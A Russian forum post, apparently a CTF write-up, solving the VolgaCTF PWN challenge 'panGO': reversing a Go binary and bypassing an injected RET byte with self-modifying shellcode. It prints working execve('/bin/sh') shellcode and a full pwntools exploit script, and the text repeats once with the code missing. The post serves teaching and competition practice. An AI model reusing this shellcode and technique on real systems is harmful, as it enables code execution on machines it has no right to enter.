Ку, киберрекруты. На днях прошелы квалификацию на финал от VolgaCTF. Мне очень понравилось задание из категории PWN под названием panGO.
		
		
	
	
		
 
	
Описание к заданию:
		
 
	
Из описания очевидно, что исполняемый файл написан на языке Go.
Начнем
Первым делом проведем разведку бинаря.
Через команду file, можно удостовериться, что он и в самом деле написан на языке Go и имеет разрядность x64:
	
	
	
	
		
Дальше проверим на защиты используя checksec:
	
	
	
	
		
Отключена рандомизация адресов, нет канарейки и отключен RELRO. Это хорошо, потому что если нужно будет оформить ропчик, то долго потеть не придется. Проверим еще на упаковщик:
	
	
	
	
		
Результатов нет, поэтому живем. Последнее, что осталось, так это проверить на наличие функции, по тиму mmap(), потому что в описании сказано, что надо загрузить шеллкод. Для просмотра импорта функций юзану radare2. Запускаю его так:
	
	
	
	
		
Конечно же, оформляю анализ бинаря командой aaa и пишу команду afl результат такой:
	
	
	
	
		
Информацию о файле получил. Теперь, пожалуй, настало время запустить бинарь и поиграться с ним.
	
	
	
	
		
	
	
	
	
		
Первым делом, заметим хэдер меню - &{[0 0 0 0 0 0 0 0] [0 0 0]} . Первая мысль об этом - структура. Выберем, например, 1 и сможем выбрать какой-то footer и записать туда данные. Причем выбрать footer можно только в диапазоне от 0 до 2 включительно. Вкид такой, что это массив, причем скорее всего в структуре его второе место:
	
	
	
	
		
Теперь попробуем выбрать 2 пункт и ввести 8 букв A:
	
	
	
	
		
Последний шаг - запуск. Тут увидим крах проги:
	
	
	
	
		
 
Ну, настало время реверса.
Реверс
Буду использовать radare2 и edb.
Среди функций можно обнаружить самые интересные для нас:
	
	
	
	
		
Перейдем же к sym.main.main командой s sym.main.main; pdf и дальше наберем VV , чтобы удобнее было анализировать блоки.
Блок кода для функции footer():
		
 
	
Перейдем к ней, чтобы узнать адрес, куда записываются введеные данные. В самом конце выполнения функции, введеные данные где-то сохраняются в памяти и адрес передается регистру rcx, адрес этой инструкции - 0x0048f211:
		
 
	
Это нам понадобится для дальнейшей отладки. Теперь перейдем к функции sym.main.run_shellcode. Там нас инетересует выделение памяти, а точнее адрес этой памяти. Что происходит с наши вводом и скорее всего запуск шелла. При запуске функции сразу же выделяется память с правильными аргументами к фукнции, которая очень похожа на mmap():
		
 
	
Она выделяет память и делает ее RWX, а адрес памяти возвращается в регистр rax, поэтому тоже запомним адрес инструкции - 0x0048ef45. Судя по коду, он просто копирует данные со структуры в новую память. Однако, больше всего нас интересует последний блок:
		
 
	
Видим, call rax тут и вызывается наш шеллкод.
получили общее представление о бинаре. И что имеем:
	
	
	
	
		
Она в 9 позицию записывает инструкцию ret = 0xC3 , таким образом делает разграничение между массивом интов и шеллкодом. Это необходимо обойти, потому что размер шеллкода увеличится в размерах до 33 байт!!!
Идея такая: пишем самомодифицириющийся код:
Начну с написания шеллкода. Первая строка шеллкода будет инструкция которая меняет инструкцию RET:
	
	
	
	
		
,где 0xC4, будет являеться составной частью инструкции inc ah.  Дальше, думаю, нет смысла описывать как писать шеллкод для получения RCE:
	
	
	
	
		
Теперь главное правильно записать скомпиленный шелл в интовый массив. Первые 8 байт от этого шеллкода обрежем и запишем в первую часть payload:
	
	
	
	
		
Потом парсим шеллкод и пишем в переменные, которые будет отправлять элементам массива:
	
	
	
	
		
Записываем их в массив:
	
	
	
	
		
И последняя часть, отправка первой части шеллкода:
	
	
	
	
		
Таким образом полный сплойт:
	
	
	
	
		
Теперь поробуем продебажить, используя EDB:
	
	
	
	
		
Сделаем точки останова на адресах:
		
 
	
В регистре теперь находится адрес памяти, куда записали часть шеллкода. Нажмем на F9 еще 2 раза и получим такой результат:
		
 
	
Следующее нажатие перенесет в интрукцию сразу же после mmap():
		
 
	
Перейдем по адресу, который находится в регистре rax:
		
 
	
По участкам памяти(Memory Regions) можно понять, что это память является RWX:
		
 
	
Дойдем до вызова шеллкода и просмотрим память:
		
 
	
Отлично! Весь шеллкод в новой RWX памяти. Теперь выполним инструкцию, которая перезаписывает 9 байт:
		
 
	
И сразу прыгаем в шеллкод:
		
 
	
Как можно увидеть, байт C3 нам попортил инструкцию inc ah, однако после первой инструкции байт перезапишется:
		
 
	
Доходим до syscall и получаем RCE:
		
 
	
	
	
	
	
		
Таск на самом деле прикольный, потому что:
				
			Описание к заданию:
Из описания очевидно, что исполняемый файл написан на языке Go.
Начнем
Первым делом проведем разведку бинаря.
Через команду file, можно удостовериться, что он и в самом деле написан на языке Go и имеет разрядность x64:
		Код:
	
	$ file pongo
pongo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=Dz-Zak7yoXtjL4dI514X/d-dYG7rvd8sUmvrfmC_6/cUhYGDc4jTE6D_jWdyMj/uChabMmUmP_12iZKjc90, with debug_info, not strippedДальше проверим на защиты используя checksec:
		Код:
	
	$ pwn checksec pongo
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)Отключена рандомизация адресов, нет канарейки и отключен RELRO. Это хорошо, потому что если нужно будет оформить ропчик, то долго потеть не придется. Проверим еще на упаковщик:
		Код:
	
	xxd pongo | grep UPXРезультатов нет, поэтому живем. Последнее, что осталось, так это проверить на наличие функции, по тиму mmap(), потому что в описании сказано, что надо загрузить шеллкод. Для просмотра импорта функций юзану radare2. Запускаю его так:
		Код:
	
	r2 -d ./pongoКонечно же, оформляю анализ бинаря командой aaa и пишу команду afl результат такой:
		Код:
	
	...
0x0047ddc0   14    762 sym.syscall._mmapper_.Mmap
...Информацию о файле получил. Теперь, пожалуй, настало время запустить бинарь и поиграться с ним.
		Код:
	
	./pongo
		Код:
	
	&{[0 0 0 0 0 0 0 0] [0 0 0]}
Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>>Первым делом, заметим хэдер меню - &{[0 0 0 0 0 0 0 0] [0 0 0]} . Первая мысль об этом - структура. Выберем, например, 1 и сможем выбрать какой-то footer и записать туда данные. Причем выбрать footer можно только в диапазоне от 0 до 2 включительно. Вкид такой, что это массив, причем скорее всего в структуре его второе место:
		Код:
	
	&{[0 0 0 0 0 0 0 0] [0 0 0]}
Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>> 1
[INPUT] Choose position in footer (0-2): 0
[INPUT] Choose footer num: -1Теперь попробуем выбрать 2 пункт и ввести 8 букв A:
		Код:
	
	Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>> 2
AAAAAAAПоследний шаг - запуск. Тут увидим крах проги:
		Код:
	
	Choose your option:
1. Set footer
2. Set shellcode
3. Run shellcode
[INPUT] >>> 3
unexpected fault address 0x7f2fa52e9000
fatal error: fault
[signal SIGSEGV: segmentation violation code=0x2 addr=0x7f2fa52e9000 pc=0x7f2fa52e8fff]
...Ну, настало время реверса.
Реверс
Буду использовать radare2 и edb.
Среди функций можно обнаружить самые интересные для нас:
		Код:
	
	0x0048ef00   15    303 sym.main.run_shellcode
0x0048f040    5    533 sym.main.set_footer
0x0048f260   13    811 sym.main.mainПерейдем же к sym.main.main командой s sym.main.main; pdf и дальше наберем VV , чтобы удобнее было анализировать блоки.
Блок кода для функции footer():
Перейдем к ней, чтобы узнать адрес, куда записываются введеные данные. В самом конце выполнения функции, введеные данные где-то сохраняются в памяти и адрес передается регистру rcx, адрес этой инструкции - 0x0048f211:
Это нам понадобится для дальнейшей отладки. Теперь перейдем к функции sym.main.run_shellcode. Там нас инетересует выделение памяти, а точнее адрес этой памяти. Что происходит с наши вводом и скорее всего запуск шелла. При запуске функции сразу же выделяется память с правильными аргументами к фукнции, которая очень похожа на mmap():
Она выделяет память и делает ее RWX, а адрес памяти возвращается в регистр rax, поэтому тоже запомним адрес инструкции - 0x0048ef45. Судя по коду, он просто копирует данные со структуры в новую память. Однако, больше всего нас интересует последний блок:
Видим, call rax тут и вызывается наш шеллкод.
получили общее представление о бинаре. И что имеем:
- Есть какой-то footer, который пока не понятно как юзануть
- Можно вполнить шеллкод и его размер должен быть ровно 8 байт
		Код:
	
	mov byte [rbx + rax], 0xc3Она в 9 позицию записывает инструкцию ret = 0xC3 , таким образом делает разграничение между массивом интов и шеллкодом. Это необходимо обойти, потому что размер шеллкода увеличится в размерах до 33 байт!!!
Идея такая: пишем самомодифицириющийся код:
- Сначала меняем байт C3, на какой-нибудь полезный(да хоть на NOP = 0x90)
- Вместо чисел запишем части шеллкода
- Выполнем его
Начну с написания шеллкода. Первая строка шеллкода будет инструкция которая меняет инструкцию RET:
		Makefile:
	
	mov byte [rbx+8], 0xC4
		Код:
	
	BITS 64
section .text
global _start
_start:
    mov byte [rbx+8], 0xc4
    push 0x42
    pop rax
    inc ah
    push rdx
    mov rdi, 0x68732f2f6e69622f
    push rdi
    push rsp
    pop rsi
    mov r8, rdx
    mov r10, rdx
    syscallТеперь главное правильно записать скомпиленный шелл в интовый массив. Первые 8 байт от этого шеллкода обрежем и запишем в первую часть payload:
		Python:
	
	pl = b'\xc6\x43\x08\xc4'
plShell = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
pl += plShell[:4]Потом парсим шеллкод и пишем в переменные, которые будет отправлять элементам массива:
		Python:
	
	num1 = u64(plShell[5:13])
num2 = u64(plShell[5+8:13+8])
num3 = u64(plShell[5+8+8:13+8+8])Записываем их в массив:
		Python:
	
	io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'0')
io.sendlineafter(b'num: ', str(num1).encode())
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'1')
io.sendlineafter(b'num: ', str(num2).encode())
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'2')
io.sendlineafter(b'num: ', str(num3).encode())И последняя часть, отправка первой части шеллкода:
		Код:
	
	io.sendlineafter(b'[INPUT] >>> ', b'2')
io.sendline(pl)
io.sendlineafter(b'[INPUT] >>> ', b'3')Таким образом полный сплойт:
		Python:
	
	from pwn import *
exe = context.binary = ELF('./pongo')
def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.EDB:
        return process(['edb','--run',exe.path])
    else:
        return process([exe.path] + argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak *0x{exe.entry:x}
continue
'''.format(**locals())
io = start()
pl = b'\xc6\x43\x08\xc4'
plShell = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
pl += plShell[:4]
num1 = u64(plShell[5:13])
num2 = u64(plShell[5+8:13+8])
num3 = u64(plShell[5+8+8:13+8+8])
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'0')
io.sendlineafter(b'num: ', str(num1).encode())
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'1')
io.sendlineafter(b'num: ', str(num2).encode())
io.sendlineafter(b'[INPUT] >>> ', b'1')
io.sendlineafter(b'(0-2): ', b'2')
io.sendlineafter(b'num: ', str(num3).encode())
io.sendlineafter(b'[INPUT] >>> ', b'2')
io.sendline(pl)
io.sendlineafter(b'[INPUT] >>> ', b'3')
io.interactive()Теперь поробуем продебажить, используя EDB:
		Код:
	
	$ python sploit.py LOCAL DEBUG EDBСделаем точки останова на адресах:
- 0x0048ef45 - mmap
- 0x0048f211 - запись данных в массив
В регистре теперь находится адрес памяти, куда записали часть шеллкода. Нажмем на F9 еще 2 раза и получим такой результат:
Следующее нажатие перенесет в интрукцию сразу же после mmap():
Перейдем по адресу, который находится в регистре rax:
По участкам памяти(Memory Regions) можно понять, что это память является RWX:
Дойдем до вызова шеллкода и просмотрим память:
Отлично! Весь шеллкод в новой RWX памяти. Теперь выполним инструкцию, которая перезаписывает 9 байт:
И сразу прыгаем в шеллкод:
Как можно увидеть, байт C3 нам попортил инструкцию inc ah, однако после первой инструкции байт перезапишется:
Доходим до syscall и получаем RCE:
		Код:
	
	$ whoami
afanx
$Таск на самом деле прикольный, потому что:
- ПыВН Go бинаря и в самом деле необычно
- Прикольная идея с самомодифицирующемся кодом
			
				Последнее редактирование модератором: 
			
		
	
							 
	 
	 
	 
	 
	
 
 
		 
 
		 
 
		 
 
		 
 
		 
 
		 
	